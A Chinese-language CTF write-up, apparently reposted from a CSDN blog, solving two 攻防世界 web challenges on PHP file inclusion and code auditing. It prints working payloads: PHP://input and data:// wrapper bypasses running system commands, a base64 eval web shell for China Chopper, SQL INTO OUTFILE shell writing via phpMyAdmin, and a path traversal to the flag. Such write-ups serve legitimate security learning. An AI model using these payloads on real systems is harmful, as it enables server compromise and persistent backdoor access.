记录攻防世界web进阶

Web_php_include

考点:考审计php代码的基本能力,以及绕开的能力
知识点:
1.两个函数
①str_replace(“php://”, “”, $page);替换函数

②strstr($page, “php://”)查找函数,即输出在一个字符串里面第一次出现的位置(且对大小写敏感)即绕开了
php://input功能应用 (接受请求的get或者post数据)
2.data协议的用法
3.数据库写马的方法

题目:
在这里插入图片描述
方法一:
利用strstr()的敏感大小进行绕过
代码

//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?php system("ls"); ?> 
<?php system("cat 路径的文件名"); ?>//即利用cat命令获取

方法二:
data://伪协议执行命令利用进行绕过
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b  (注意编码后的+号要URL编码)

方法三:
data://伪协议传木马

<?php eval($_POST[xiaohua]); ?> base64加密后拼接

http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

//菜刀连接即可

方法四:
数据库写入马,利用数据库进行

//御剑扫描获得phpmyadmin root 密码空 进入

//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录 试试写入一句话马 菜刀连接 

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

思路:①绕过代码审计中的替换即读取数据的命令
②在post中利用php的命令执行语句进行爆出flag

warmup

考点:

  1. 考php代码审计与构造的能力
  2. 考php路径访问的能力
  3. 参数与url中常见的符号理解
    知识点:
    1.#include文件包含的定义的漏洞使用类
    作用:包含并运行指定的文件
    运行方法:先按照参数的路径进行寻找,没有的话在依次删除路径
    file的参数这个是#include里面的定义为文件=路径;(且文件打开还可以考虑用php://input)
    2.函数
    ①in_array($page, $whitelist)即在whitelist中是否存在page这个参数
    ②mb_substr()函数的理解
mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
         );
 //即参数从0开始返回mb_strpos这么多的字节        

③mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置(即返回的位置,strstr返回的是值且是从当时开始的值)

<?php
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;

④参数的理解
如?file=source.php?(payload)//即参数$page实际为source.php?

做题:
在这里插入图片描述
审计代码后发现只有当 p a g e 的 参 数 构 造 存 在 于 page的参数构造存在于 pagewhitelist数组中存在时,才返回 true,否则都是flase
因此可以利用第二个判断机制构造 p a g e = s o u r c e . p h p ? 或 者 page=source.php?或者 page=source.php?page=hint.php

然后又利用#include的实际执行方法进行构造路径
为?file=source.php?/…/…/…/…/…/…/ffffllllaaaagggg
成功获取到flag
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_33942040/article/details/106627616